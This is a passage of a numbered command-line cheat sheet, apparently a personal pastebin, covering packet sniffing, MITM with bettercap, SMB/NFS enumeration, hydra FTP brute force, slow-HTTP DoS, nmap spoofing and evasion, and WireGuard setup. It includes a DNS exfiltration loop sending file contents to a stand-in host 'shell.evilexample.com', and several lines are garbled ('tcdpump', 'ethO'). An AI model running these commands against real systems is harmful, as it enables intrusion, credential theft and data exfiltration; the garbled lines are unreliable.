  2026. while true ; do tcpick -a -C -r $File.pcap ; sleep 2 ; clear ; done
  2027.  
  2028.  
  2029.  
  2030.  
  2031.  
  2032.  
  2033.  
  2034. chaosreader --dir               ## Output all files to this directory
  2035. chaosreader --verbose           ##
  2036. chaosreader -ve $File           ## Create HTML 2-way & hex files for everything
  2037. chaosreader -p $Ports $File     ## only ftp and telnet
  2038. chaosreader -s 10               ## runs tcpdump for 10 minutes and generates the log file
  2039. chaosreader --ipaddr $IP        ## Only examine these IPs
  2040. chaosreader --filter 'port 7'   ## Dump Filter - Port #
  2041. chaosreader --port 21,23        ## Only examine these ports (TCP & UDP)
  2042. chaosreader --preferdns         ## Show DNS names instead of IP addresses.
  2043. chaosreader --sort type         ## Sort Order: type
  2044. chaosreader --sort ip           ## Sort Order: ip
  2045.  
  2046.  
  2047.  
  2048.  
  2049. ##-====================================================-##
  2050. ##   [+]
  2051. ##-====================================================-##
  2052. ngrep -t -x 'USER|PASS|RETR|STOR' tcp port ftp and host server.example.com
  2053.  
  2054.  
  2055. ##-====================================================-##
  2056. ##   [+] tcpstat - report network interface statistics
  2057. ##-====================================================-##
  2058. tcpstat -i eth0 -o "Time: %S\tpps: %p\tpacket count: %n\tnet load: %l\tBps: %B\n"
  2059.  
  2060.  
  2061. ##-====================================================-##
  2062. ##   [+] ifpps - fetch and format kernel network statistics
  2063. ##-====================================================-##
  2064. ifpps –dev eth0
  2065.  
  2066.  
  2067.  
  2068.  
  2069. ##-====================================================-##
  2070. ##   [+] monitor the network for insecure protocols:
  2071. ##-====================================================-##
  2072. dsniff -m [-i interface] [-s snap-length] [filter-expression]
  2073.  
  2074.  
  2075. ##-==============================================================-##
  2076. ##   [+] save results in a database, instead of printing them:
  2077. ##-==============================================================-##
  2078. dsniff -w $File.db
  2079.  
  2080.  
  2081. ##-======================================================-##
  2082. ##   [+] read and print the results from the database:
  2083. ##-======================================================-##
  2084. dsniff -r $File.db
  2085.  
  2086.  
  2087. ##-========================================================-##
  2088. ##   [+] capture mail messages from SMTP or POP traffic:
  2089. ##-========================================================-##
  2090. mailsnarf -i eth0 [-v] [regular-expression [filter-expression]]
  2091.  
  2092.  
  2093. ##-=================================================-##
  2094. ##   [+] capture file contents from NFS traffic:
  2095. ##-=================================================-##
  2096. filesnarf -i eth0 [-v] [regular-expression [filter-expression]]
  2097.  
  2098.  
  2099. ##-=========================================-##
  2100. ##   [+] capture URLs from HTTP traffic:
  2101. ##-=========================================-##
  2102. urlsnarf -i eth0 [-v] [regular-expression [filter-expression]]
  2103.  
  2104.  
  2105.  
  2106.  
  2107. ##-==================================================-##
  2108. ##   [+] search for packets containing data
  2109. ##       that matches a regular expression and
  2110. ##       protocols that match a filter expression:
  2111. ##-==================================================-##
  2112. ngrep [grep-options] regular-expression [filter-expression]
  2113.  
  2114.  
  2115. ##-===============================================-##
  2116. ##   [+] search for a sequence of binary data:
  2117. ##-===============================================-##
  2118. ngrep -X hexadecimal-digits [filter-expression]
  2119.  
  2120.  
  2121. ##-===============================================-##
  2122. ##   [+] sniff packets and save them in a file:
  2123. ##-===============================================-##
  2124. ngrep -O $File [-n count] -d eth0 [-s snap-length] regular-expression [filter-expression]
  2125.  
  2126.  
  2127. ##-=======================================================-##
  2128. ##   [+] read and display the saved network trace data:
  2129. ##-=======================================================-##
  2130. ngrep -I $File regular-expression [filter-expression]
  2131.  
  2132.  
  2133. ##-===============================================-##
  2134. ##   [+]
  2135. ##-===============================================-##
  2136. ngrep -q -W byline "GET|POST HTTP"
  2137.  
  2138.  
  2139. ##-===============================================-##
  2140. ##   [+]
  2141. ##-===============================================-##
  2142. ngrep -d eth0 "www.domain.com" port 443
  2143.  
  2144.  
  2145. ##-===============================================-##
  2146. ##   [+]
  2147. ##-===============================================-##
  2148. ngrep -d eth0 "www.domain.com" src host $IP and port 443
  2149.  
  2150.  
  2151. ##-===============================================-##
  2152. ##   [+]
  2153. ##-===============================================-##
  2154. ngrep -d eth0 -qt -O $File.pcap "www.domain.com" port 443
  2155.  
  2156.  
  2157. ##-===============================================-##
  2158. ##   [+]
  2159. ##-===============================================-##
  2160. ngrep -d eth0 -qt 'HTTP' 'tcp'
  2161.  
  2162.  
  2163. ##-===============================================-##
  2164. ##   [+]
  2165. ##-===============================================-##
  2166. ngrep -l -q -d eth0 -i "User-Agent: curl*"
  2167.  
  2168.  
  2169.  
  2170.  
  2171.  
  2172. ##-======================-##
  2173. ##   [+] SSH traffic:
  2174. ##-======================-##
  2175. darkstat -i eth0 -f "port 22"
  2176. darkstat -i eth0 -f "port 1194"
  2177.  
  2178.  
  2179. ##-===============================================-##
  2180. ##   [+]
  2181. ##-===============================================-##
  2182. darkstat --verbose -i eth0 --hexdump --export $File
  2183.  
  2184.  
  2185. ##-===============================================-##
  2186. ##   [+]
  2187. ##-===============================================-##
  2188. darkstat -i eth0 -p 80
  2189.  
  2190.  
  2191. ##-=======================================================-##
  2192. ##   [+] dont account for traffic between internal IPs:
  2193. ##-=======================================================-##
  2194. darkstat -i eth0 -f "not (src net 192.168.0 and dst net 192.168.0)"
  2195.  
  2196.  
  2197. ##-=================================================================-##
  2198. ##   [+] graph all traffic entering and leaving the local network
  2199. ##-=================================================================-##
  2200. darkstat -i eth0 -l 192.168.1.0/255.255.255.0
  2201.  
  2202.  
  2203. ##-===============================================-##
  2204. ##   [+]
  2205. ##-===============================================-##
  2206. darkstat --verbose --import $File
  2207.  
  2208.  
  2209. ##-===============================================-##
  2210. ##   [+]
  2211. ##-===============================================-##
  2212. darkstat --verbose --export $File
  2213.  
  2214.  
  2215.  
  2216.  
  2217.  
  2218. ##-=====================================================-##
  2219. ##   [+] MITM framework - Swiss Army knife for 802.11
  2220. ##-=====================================================-##
  2221. bettercap -iface eth0 -X --proxy -O $File.log
  2222.  
  2223. bettercap -iface eth0 -caplet $File.cap
  2224.  
  2225.  
  2226.  
  2227.  
  2228.  
  2229.  
  2230. dhcpdump -i wlan0
  2231.  
  2232.  
  2233. dumpcap -f "ip host 10.0.0.129"
  2234.  
  2235.  
  2236.  
  2237.  
  2238.  
  2239.  
  2240.  
  2241.  
  2242.  
  2243. Test Internet Speed Using Linux Command Line
  2244.  
  2245. speedtest-cli --bytes
  2246. speedtest-cli --list
  2247. speedtest-cli --server server_id
  2248.  
  2249. speedometer -r eth0 -t eth0
  2250. speedometer -r wlan0 -t wlan0
  2251. speedometer -l  -r wlan0 -t wlan0 -m $(( 1024 * 1024 * 3 / 2 ))
  2252.  
  2253.  
  2254.  
  2255. sudo nethogs wlan0
  2256. sudo nethogs eth0
  2257.  
  2258.  
  2259.  
  2260.  
  2261. sudo iptraf
  2262.  
  2263.  
  2264.  
  2265. sudo ifstat
  2266. sudo ifstat -t -i eth0 0.5
  2267.  
  2268.  
  2269.  
  2270. sudo iftop -n
  2271.  
  2272. sudo netload eth0
  2273.  
  2274.  
  2275.  
  2276. sudo netwatch -e eth0 -nt
  2277. sudo trafshow -i eth0 tcp
  2278.  
  2279.  
  2280. tcpflow -p -c -i eth0 port 80
  2281.  
  2282.  
  2283. tcpdump -vvv -s 0 -l -n port 53  # print DNS outgoing queries
  2284. tcpdump -i any -w /tmp/http.log &
  2285. killall tcpdump
  2286. tcpdump -A -r /tmp/http.log | less
  2287.  
  2288.  
  2289. helpful flags (options):
  2290.  
  2291. sudo tcpdump -i br0 -n | egrep "91.189.95.54|91.189.95.55"
  2292.  
  2293.  
  2294. # Useful to detect DNS amplification
  2295. tcpdump -nnni bond0 -c 100 -w sample.txt dst port 53
  2296.  
  2297. # which bogus DNS resolvers are sending you an amplified attack.
  2298. awk '{print $3}' sample.txt | cut -d '.' -f1-4 | sort | uniq -c | sort -nr
  2299.  
  2300.  
  2301.  
  2302. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2303.  
  2304.  
  2305. iptables -A INPUT -p tcp -d 192.168.0.12 -m tcp ! --dport 53 -j DROP
  2306. iptables -A INPUT -p udp -d 192.168.0.12 -m udp ! --dport 53 -j DROP
  2307. iptables -A INPUT -m tcp -p tcp --dport 53 -j ACCEPT
  2308.  
  2309.  
  2310. # Block All UDP Ports Through iptable Accept DNS
  2311. iptables -A INPUT -p udp --sport 53 -j ACCEPT
  2312. iptables -A INPUT -p udp --dport 53 -j ACCEPT
  2313. iptables -A OUTPUT -p udp --sport 53 -j ACCEPT
  2314. iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
  2315.  
  2316. iptables -A INPUT -p udp -j DROP
  2317. iptables -A OUTPUT -p udp -j DROP
  2318.  
  2319.  
  2320. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2321.  
  2322.  
  2323.  
  2324.  
  2325.  
  2326.  
  2327.  
  2328.  
  2329. ##-===============================================-##
  2330. ##   [+]
  2331. ##-===============================================-##
  2332. iftop -i eth0
  2333.  
  2334.  
  2335. iftop -i eth0 -f 'port (80 or 443)'
  2336. iftop -i eth0 -f 'ip dst 192.168.1.5'
  2337.  
  2338.  
  2339. iftop -i eth0 -F 192.168.1.0/255.255.255.0
  2340.  
  2341.  
  2342. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2343.     sar -u | less               ## shows CPU usage
  2344. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2345.     sar -d                      ## output disk statistics.
  2346. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2347.     sar -b                      ## I/O and transfer rate statistics
  2348. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2349.     sar -n DEV 5 2              ## see how much activity came across your network interfaces
  2350. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2351.     sar –u –r –n DEV          ## details about the usage of CPU, I/O, memory, and network devices
  2352. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2353.     sar -u 2 5                  ## Report CPU utilization for each 2 seconds. 5 lines are displayed.
  2354. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2355.     sar -A                      ## Display all the statistics saved In current daily data file.
  2356. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2357.  
  2358.  
  2359.  
  2360. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2361.         sar -I 14 -o int14.file 2 10                ## Report statistics on IRQ 14 for each 2 seconds.
  2362.                                                             ## 10 lines are displayed.
  2363.                                                             ## Data is stored  In  a file called int14.file.
  2364. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2365.         sar -r -n DEV -f /var/log/sysstat/sa16      ##  Display memory and network statistics
  2366.                                                                         ##  saved In daily data file 'sa16'.
  2367. ## ---------------------------------------------------------------------------------------------------------------------------- ##
  2368.  
  2369.  
  2370.  
  2371.  
  2372.  
  2373. Default ncurses output for the eth0 device.
  2374. ifpps eth0
  2375.  
  2376.  
  2377. Ncurses output for the eth0 device in promiscuous mode.
  2378. ifpps -pd eth0
  2379.  
  2380. Continuous terminal output for the wlan0 device in promiscuous mode.
  2381. ifpps -lpcd wlan0 > plot.dat
  2382.  
  2383.  
  2384.  
  2385.  
  2386.  
  2387.  
  2388.  
  2389.  
  2390.  
  2391.  
  2392.  
  2393. The superblock          contains information about the filesystem as a whole,
  2394.                         such as its size (the exact information here depends on the filesystem).
  2395.  
  2396. inode                   contains all information about a file, except its name.
  2397.                         The name is stored In the directory, together with the number of the inode.
  2398.  
  2399. Directory entry         consists of a filename and the number of the inode which represents the file.
  2400.                         The inode contains the numbers of several data blocks, which are used to store
  2401.                         the data In the file. There is space only for a few data block numbers In the inode,
  2402.  
  2403. indirect blocks         These dynamically allocated blocks - used as backup for pointers to the data blocks
  2404.  
  2405.  
  2406.  
  2407.  
  2408.  
  2409. URLs
  2410.  
  2411. --proxy                 ##
  2412.  
  2413.  
  2414. httrack $Domain/$File.html --spider -P proxy.myhost.com:8080
  2415.  
  2416. httrack $Domain/$File.html --spider -P 10.8.0.1:1080
  2417. httrack $Domain/$File.html --spider -P 10.64.0.1:1080
  2418.  
  2419.  
  2420.  
  2421. --spider URLs                   ##
  2422.  
  2423.  
  2424. --stay-on-same-dir                  ##
  2425. --can-go-up                 ##
  2426. --can-go-down                   ##
  2427.  
  2428.  
  2429. --can-go-up-and-down                ## -B     can both go up&down into the directory structure
  2430.  
  2431.  
  2432.  
  2433.  
  2434. --stay-on-same-domain                   ##
  2435. --stay-on-same-address                  ##
  2436.  
  2437.  
  2438.  
  2439. --stay-on-same-tld                  ## -l     stay on the same TLD
  2440.  
  2441.  
  2442.  
  2443.  
  2444.  
  2445.  
  2446.  
  2447.  
  2448. --user-agent                    ##
  2449. --referer                   ##
  2450.  
  2451.  
  2452.  
  2453. --headers                   ##
  2454.  
  2455. --debug-headers                 ##
  2456.  
  2457.  
  2458.  
  2459.  
  2460.  
  2461.  
  2462. --catch-url                     -#P    catch URL
  2463.  
  2464.  
  2465. -*p3   ## save all files
  2466.  
  2467.  
  2468.  
  2469.  
  2470.  
  2471.  
  2472. --urllist                   ##
  2473. --mirror $URLs                  ##
  2474. --mirrorlinks URLs                  ##
  2475. --list                  ##
  2476. --keep-links                    ##
  2477.  
  2478.  
  2479.  
  2480. --cookies                   ##
  2481.  
  2482.  
  2483. --verbose                       ## -v     log on screen
  2484.  
  2485.  
  2486.  
  2487. --single-log            ## -f2    one single log file
  2488. --file-log              ## -f     *log in files
  2489. --debug-log             ##
  2490. --extra-log             ## -z     log - extra infos
  2491.  
  2492. --clean                 ##
  2493.  
  2494.  
  2495.  
  2496.  
  2497. --debug-xfrstats                ## -#T    generate transfer ops. log every minutes
  2498. --debug-ratestats               ## -#Z    generate transfer rate statictics every minutes
  2499.  
  2500. --debug-parsing                 ## -#d    debug parser
  2501.  
  2502. --debug-cache                   ## -#C    cache list
  2503.  
  2504.                                 ## -#C  *.com/spider*.gif
  2505.  
  2506.  
  2507.  
  2508.  
  2509.  
  2510.  
  2511.  
  2512. --go-everywhere                     ##
  2513.  
  2514. --generate-errors                   ##
  2515.  
  2516.  
  2517.  
  2518.  
  2519.  
  2520.  
  2521.  
  2522.  
  2523.  
  2524.  
  2525.  
  2526.  
  2527.  
  2528.  
  2529.  
  2530.  
  2531.  
  2532.  
  2533.  
  2534.  
  2535.  
  2536.  
  2537.  
  2538.  
  2539.  
  2540. ##-=================-##
  2541. ##   [+] httpie
  2542. ##-=================-##
  2543.  
  2544.  
  2545.  
  2546. ## --------------------------------------------- ##
  2547. ##   [?] print request and response headers
  2548. ##   [?] request headers + response headers
  2549. ## --------------------------------------------- ##
  2550. http -p Hh $Domain
  2551.  
  2552.  
  2553. ## --------------------------------------------- ##
  2554. ##   [?] print request and response headers
  2555. ##   [?] request headers + response headers
  2556. ##   [?] follow redirects
  2557. ##   [?] skip SSL verification
  2558. ## --------------------------------------------- ##
  2559. http -p Hh $Domain --follow --verify no
  2560.  
  2561.  
  2562. ## --------------------------------------------- ##
  2563. ##   [?] Use Proxy for connection
  2564. ## --------------------------------------------- ##
  2565. http -p Hh $Domain --follow --verify no --proxy http:http://127.0.0.1:16379
  2566.  
  2567.  
  2568.  
  2569.  
  2570. ##-========================================================================================-##
  2571. ##   [+] SlowHTTPTest - application layer Denial of Service attacks simulation tool
  2572. ##-========================================================================================-##
  2573. ## --------------------------------------------- ##
  2574.  - Slow HTTP POST
  2575.  - Slow Read attack
  2576.      [?] based on TCP persist timer exploit
  2577.      [?] by draining concurrent connections pool
  2578.  - Apache Range Header attack
  2579. ## --------------------------------------------- ##
  2580. slowhttptest -c 1000 -g -X -o slow_read_stats -r  200 -w 512 -y 1-25 -m 5 -z 32 -k 3 -u http://10.10.102.X -p 3
  2581.  
  2582.  
  2583.  
  2584.  
  2585.  
  2586.  
  2587. ##-=================================-##
  2588. ##   [+] Start required services:
  2589. ##-=================================-##
  2590. systemctl start rpcbind
  2591.  
  2592. ##-================================================-##
  2593. ##   [+] Show file system exports on the client:
  2594. ##-================================================-##
  2595. showmount -e $IP
  2596.  
  2597.  
  2598. ##-======================================-##
  2599. ##   [+] Mount a network file system:
  2600. ##-======================================-##
  2601. mount nfs
  2602.  
  2603.  
  2604.  
  2605.  
  2606. ##-==========================-##
  2607. ##   [+] Find NFS Port
  2608. ##-==========================-##
  2609. nmap -p 111 --script=rpcinfo.nse -vv -oN nfs_port; $IP
  2610.  
  2611.  
  2612. ##-==========================-##
  2613. ##   [+] Services Running
  2614. ##-==========================-##
  2615. rpcinfo –p; $IP
  2616. rpcbind -p rpcinfo –p x.x.x.x
  2617.  
  2618.  
  2619.  
  2620. rpcinfo -p | egrep -w "port|81[14]"
  2621.  
  2622.  
  2623.  
  2624. ##-===================================-##
  2625. ##   [+] Show Mountable NFS Shares
  2626. ##-===================================-##
  2627. nmap --script=nfs-showmount -oN mountable_shares; $IP; showmount -e; $IP
  2628.  
  2629.  
  2630.  
  2631. ##-===========================================-##
  2632. ##   [+]
  2633. ##-===========================================-##
  2634. rpcinfo -p | egrep -w "port|81[14]"
  2635.  
  2636.  
  2637.  
  2638.  
  2639.  
  2640. ##-================================================-##
  2641. ##   [+] RPC Enumeration (Remote Procedure Call)
  2642. ##-================================================-##
  2643.  
  2644.  
  2645. ##-======================================================-##
  2646. ##   [+] Connect to an RPC share without a
  2647. ##      username and password and enumerate privileges
  2648. ##-======================================================-##
  2649. rpcclient --user="" --command=enumprivs -N $IP
  2650.  
  2651.  
  2652. ##-===========================================-##
  2653. ##  [+] Connect to an RPC share with a
  2654. ##      username and enumerate privileges
  2655. ##-===========================================-##
  2656. rpcclient --user="" --command=enumprivs $IP
  2657.  
  2658.  
  2659.  
  2660.  
  2661. mount -t nfs $IP:/var/myshare /mnt/shareddrive
  2662. mount -t nfs $IP:/mountlocation /mnt/mountlocation
  2663.  
  2664. serverip:/mountlocation /mnt/mountlocation nfs defaults 0 0
  2665.  
  2666.  
  2667. nmap -sV --script=nfs-showmount $IP
  2668.  
  2669.  
  2670.  
  2671.  
  2672. ##-========================-##
  2673. ##   [+] SMB + NETBIOS
  2674. ##-========================-##
  2675.  
  2676.  
  2677.  
  2678. ##-======================-##
  2679. ##  [+] Over All scan
  2680. ##-======================-##
  2681. enum4linux -a $IP
  2682.  
  2683. ##-============================================-##
  2684. ##   [+] Enumerate using SMB (w/user & pass)
  2685. ##-============================================-##
  2686. enum4linux -a -u <user> -p <passwd> $IP
  2687.  
  2688.  
  2689. ##-=============================-##
  2690. ##  [+] Enum4linux bash-loop:
  2691. ##-=============================-##
  2692. for targets in $(cat $File.txt); do enum4linux $targets; done
  2693.  
  2694.  
  2695.  
  2696. ##-=============================-##
  2697. ##  [+]
  2698. ##-=============================-##
  2699. enum4linux -a -v -M -l -d $1
  2700.  
  2701.  
  2702.  
  2703. ##-============================================-##
  2704. ##   [+] Guest User and null authentication
  2705. ##-============================================-##
  2706. smbmap -u anonymous -p anonymous -H 10.10.10.172
  2707. smbmap -u '' -p '' -H 10.10.10.172
  2708.  
  2709. smbmap -H [ip] -d [domain] -u [user] -p [password]   -r --depth 5 -R
  2710.  
  2711.  
  2712. ##-==============================-##
  2713. ##  [+] Vulnerability Scanning
  2714. ##-==============================-##
  2715. nmap --script="+\*smb\* and not brute and not dos and not fuzzer" -p 139,445 -oN smb-vuln; $IP
  2716.  
  2717.  
  2718. ##-===========================-##
  2719. ##  [+] Enumerate Hostnames
  2720. ##-==========================-##
  2721. nmblookup -A $IP
  2722.  
  2723.  
  2724. ##-====================================================-##
  2725. ##   [+] List Shares with no creds and guest account
  2726. ##-====================================================-##
  2727. smbmap -H \[$IP/hostname\] -u anonymous -p hokusbokus -R
  2728. nmap --script smb-enum-shares -p 139,445 $IP
  2729.  
  2730.  
  2731. ##-==============================-##
  2732. ##  [+] List Shares with creds
  2733. ##-==============================-##
  2734. smbmap -H \[$IP\] -d \[domain\] -u \[user\] -p \[password\] -r --depth 5 -R
  2735.  
  2736.  
  2737. ##-===========================-##
  2738. ##   [+] Connect to share
  2739. ##-===========================-##
  2740. smbclient \\\\[$IP\]\\\[share name\]
  2741.  
  2742.  
  2743. ##-=======================================-##
  2744. ##   [+] Netbios Information Scanning
  2745. ##-=======================================-##
  2746. nbtscan -r $IP/24
  2747.  
  2748.  
  2749. ##-===========================================-##
  2750. ##   [+] Find Service Provided By Machines:
  2751. ##-===========================================-##
  2752. nbtscan -hv $IP/24
  2753.  
  2754.  
  2755. ##-===========================================-##
  2756. ##   [+] Nmap find exposed Netbios servers
  2757. ##-===========================================-##
  2758. nmap -sU --script nbstat.nse -p 137 $IP
  2759.  
  2760.  
  2761. ##-=========================-##
  2762. ##   [+] Mount smb share:
  2763. ##-=========================-##
  2764. mount -t cifs //server ip/share/dir/; -o username=”guest”,password=””
  2765.  
  2766.  
  2767.  
  2768. ##-============================================-##
  2769. ##   [+] SMB Enumeration Technique - NBTSCAN
  2770. ##-============================================-##
  2771.  
  2772.  
  2773. ##-=======================================================-##
  2774. ##   [+] NBT name scan for addresses from 10.0.2.0/24
  2775. ##-=======================================================-##
  2776. nbtscan -r 10.0.2.0/24
  2777.  
  2778.  
  2779.  
  2780. mount -o port=2049,mountport=44096,proto=tcp 127.0.0.1:/home /home
  2781. nfs-showmount.nse script,
  2782. auxiliary/scanner/snmp/snmp_enum
  2783.  
  2784.  
  2785. ## -------------------------------------------------------------------- ##
  2786. ##   [?] discover available Windows shared drives or for NFS shares.
  2787. ## -------------------------------------------------------------------- ##
  2788. net view \\<remote system>
  2789. showmount -e
  2790.  
  2791.  
  2792.  
  2793. snmpset
  2794.  
  2795.  
  2796.  
  2797.  
  2798.  
  2799.  
  2800.  
  2801.  
  2802.  
  2803.  
  2804.  
  2805. nmap -n -Pn -sV $IP -p $PORT --script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221 -oN $OUTPUT/ftp_$IP-$PORT.nmap
  2806.  
  2807.  
  2808. hydra -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt -f -o $OUTPUT/ftp
  2809. hydra_$IP-$PORT -u $IP -s $PORT ftp
  2810.  
  2811.  
  2812.  
  2813.  
  2814. ## -------------------------------------------------------------------------------------------- ##
  2815. ##   [?] Checks target IP addresses against multiple DNS anti-spam and open proxy blacklists
  2816. ## -------------------------------------------------------------------------------------------- ##
  2817. nmap --script dns-blacklist --script-args='dns-blacklist.ip=<ip>'
  2818.  
  2819.  
  2820. ##-===========================-##
  2821. ##   [+] dns-zone-transfer:
  2822. ##-===========================-##
  2823. ## ---------------------------------------------------------------- ##
  2824. ##   [?] Attempts to pull a zone file (AXFR) from a DNS server.
  2825. ## ---------------------------------------------------------------- ##
  2826. nmap --script dns-zone-transfer.nse --script-args dns-zone-transfer.domain=<domain> -p53 <hosts>
  2827.  
  2828.  
  2829.  
  2830.  
  2831.  
  2832. nmap --script dns-brute --script-args dns-brute.domain=foo.com,dns-brute.threads=6,dns-brute.hostlist=./hostfile.txt,newtargets -sS -p 80
  2833. nmap --script dns-brute www.foo.com
  2834.  
  2835.  
  2836.  
  2837. nmap -sU -p 53 --script dns-cache-snoop.nse --script-args 'dns-cache-snoop.mode=timed,dns-cache-snoop.domains={host1,host2,host3}' <target>
  2838.  
  2839.  
  2840.  
  2841.  
  2842. nmap -sn -Pn ns1.example.com --script dns-check-zone --script-args='dns-check-zone.domain=example.com'
  2843.  
  2844.  
  2845.  
  2846.  
  2847.  
  2848.  
  2849.  
  2850.  
  2851.  
  2852.  
  2853. ##-===============================-##
  2854. ##   [+] Firewall/IDS evasion
  2855. ##-===============================-##
  2856.  
  2857.  
  2858. -f                  ## fragment packets
  2859. -S $IP              ## spoof source address
  2860. --randomize-hosts
  2861. -D d1,d2            ## cloak scan with decoys
  2862. --source-port $SrcPort         ## spoof source port
  2863. --spoof-mac $MAC    ## change the src mac
  2864.  
  2865.  
  2866.  
  2867. nmap -S $SourceIP
  2868. nmap –g $SourcePort
  2869. nmap -D d1,d2
  2870. nmap --randomize-hosts
  2871.  
  2872. nmap --spoof-mac $MacAddr
  2873.  
  2874.  
  2875.  
  2876.  
  2877.  
  2878.  
  2879. ##-===============================-##
  2880. ##   [+] Capture TCP stream
  2881. ##-===============================-##
  2882.  
  2883.  
  2884. ##-===========================================-##
  2885. ##   [+] Step1 (capture network trafic):
  2886. ##-===========================================-##
  2887. tshark -i eth0 -f "port 9088" -w $File.pcap
  2888.  
  2889.  
  2890. ##-===========================================-##
  2891. ##   [+] Step2 (list captured tcp streams):
  2892. ##-===========================================-##
  2893. tshark -r $File.pcap -T fields -e tcp.stream | sort -u
  2894.  
  2895.  
  2896. ##-==============================================================-##
  2897. ##   [+] Step3 (dump the content of one particular tcp stream):
  2898. ##-==============================================================-##
  2899. tshark -nr $File.pcap -q -d tcp.port==9088,http -z follow,http,ascii,_your_stream_number
  2900.  
  2901.  
  2902.  
  2903.  
  2904. ##-====================================-##
  2905. ##   [+] DNS domain name resolutions
  2906. ##-====================================-##
  2907. tshark -r HTTPS_traffic.pcap -Y "dns && dns.flags.response==0" -Tfields -e ip.dst
  2908.  
  2909.  
  2910. ##-===================================================-##
  2911. ##  [+] CAPTURE 50 DNS PACKETS AND PRINT TIMESTAMP
  2912. ##-===================================================-##
  2913. tcpdump -i ethO -c 50 -tttt 'udp and port 53'
  2914.  
  2915.  
  2916.  
  2917. echo "##-=================================================-##"
  2918. echo "    [+] Read In each line and do a D~S lookup          "
  2919. echo "##-=================================================-##"
  2920. for b In `cat fole.hex `; do dig $b.shell.evilexample.com; done
  2921.  
  2922.  
  2923. echo "##-==================================-##"
  2924. echo "    [+] Capture DNS Exfil Packets     "
  2925. echo "##-==================================-##"
  2926. tcdpump -w /tmp/dns -sO port 53 and host sjstem.example.com
  2927.  
  2928.  
  2929. echo "##-=================================================-##"
  2930. echo "    [+] Cut the exfil!ed hex from t~e DNS packet      "
  2931. echo "##-=================================================-##"
  2932. tcpdump -r dnsdemo -n | grep shell.evilexample.com | cut -f9 -d | cut -fl -d'.' | uniq received. txt
  2933.  
  2934.  
  2935.  
  2936.  
  2937. ##-===========================================-##
  2938. ##   [+]
  2939. ##-===========================================-##
  2940. tcpdump -w $File.pcap tcp port ftp or ftp-data and host $Domain
  2941.  
  2942.  
  2943. ##-===========================================-##
  2944. ##   [+] PRINT ALL PING RESPONSES
  2945. ##-===========================================-##
  2946. tcpdump -i ethO 'icmp[icmptype] == icmp-echoreply'
  2947.  
  2948.  
  2949. ##-===========================================-##
  2950. ##   [+] SHOW CONNECTIONS TO A SPECIFIC IP
  2951. ##-===========================================-##
  2952. tcpdump -i ethO -tttt dst $DstIP and not net 192.168.1.0/24
  2953.  
  2954.  
  2955.  
  2956.  
  2957.  
  2958.  
  2959.  
  2960.  
  2961.  
  2962. ##-==============================-##
  2963. ##   [+] Generate Certificates:
  2964. ##-==============================-##
  2965.  
  2966.  
  2967. ##-========================================-##
  2968. ##   [+] Generate a public and private
  2969. ##   [+] certificate on the server:
  2970. ##-========================================-##
  2971. umask 077
  2972. wg genkey | tee server_private_key | wg pubkey > server_public_key
  2973.  
  2974.  
  2975. Enable IPv4 Forwarding
  2976. ## Enable IPv4 forwarding so that we can access the rest of the LAN and not just the server itself.
  2977. ## Open /etc/sysctl.conf and comment out the following line
  2978.  
  2979. net.ipv4.ip_forward=1
  2980.  
  2981. ## Step 5: Restart the server, or use the following commands for the IP forwarding to take effect without restarting the server
  2982.  
  2983.  
  2984. sysctl -p
  2985. echo 1 > /proc/sys/net/ipv4/ip_forward
  2986.  
  2987.  
  2988.  
  2989.  
  2990. ## Start WireGuard:
  2991.  
  2992.  
  2993. ##   [+] Start WireGuard on the Server
  2994.  
  2995.  
  2996. enable WireGuard to start automatically
  2997. when the server starts.
  2998.  
  2999. chown -v root:root /etc/wireguard/wg0.conf
  3000. chmod -v 600 /etc/wireguard/wg0.conf
  3001. wg-quick up wg0
  3002. systemctl enable wg-quick@wg0.service
  3003.  
  3004.  
  3005.  
  3006.  
  3007. Generate Certificates
  3008. ## Generate a public and private certificate on the client
  3009.  
  3010. wg genkey | tee client_private_key | wg pubkey > client_public_key
  3011.  
  3012.  
  3013.  
  3014.  
  3015.  
  3016.  
  3017.  
  3018.  
  3019. ##-=======================================-##
  3020. ##   [+] Run our configuration script
  3021. ##-=======================================-##
  3022. curl -LO https://mullvad.net/media/files/mullvad-wg.sh && chmod +x ./mullvad-wg.sh && ./mullvad-wg.sh
  3023.  
  3024. ##-================================================================-##
  3025. ##   [+] Set the correct permissions so only root can read them:
  3026. ##-================================================================-##
  3027. sudo chown root:root -R /etc/wireguard && sudo chmod 600 -R /etc/wireguard
  3028.  
  3029. ##-===============================================-##
  3030. ##   [+] start WireGuard automatically on boot
  3031. ##-===============================================-##
  3032. systemctl enable wg-quick@mullvad-se4
  3033.  
  3034. ##-=============================-##
  3035. ##   [+] Turn on WireGuard
  3036. ##-=============================-##
  3037. wg-quick up mullvad-se4
  3038.  
  3039. ##-=============================-##
  3040. ##   [+] Turn off WireGuard
  3041. ##-=============================-##
  3042. wg-quick down mullvad-se4
  3043.  
  3044.  
  3045.  
  3046.  
  3047.  
  3048. useradd --home /etc/openvpn --user-group --shell /bin/false tunnel
  3049.  
  3050. if [ -d /run/systemd/system ] ; then
  3051.    systemd-tmpfiles --create /usr/lib/tmpfiles.d/50_openvpn-unpriv.conf >/dev/null || true
  3052.    systemctl --system daemon-reload >/dev/null || true
  3053. fi
  3054.  
  3055.  
  3056.  
  3057. openVPN running on a non­stanard port
  3058.  
  3059. semanage port -a -t openvpn_port_t -p udp 1195
  3060.  
  3061.  
  3062.  
  3063.  
  3064.  
  3065.  
  3066.  
  3067.  
  3068.  
  3069. recon-ng
  3070. keys list
  3071. ##-========================================================-##
  3072. ##   [+] start by adding twitter_api and twitter_secret
  3073. ##-========================================================-##
  3074.  
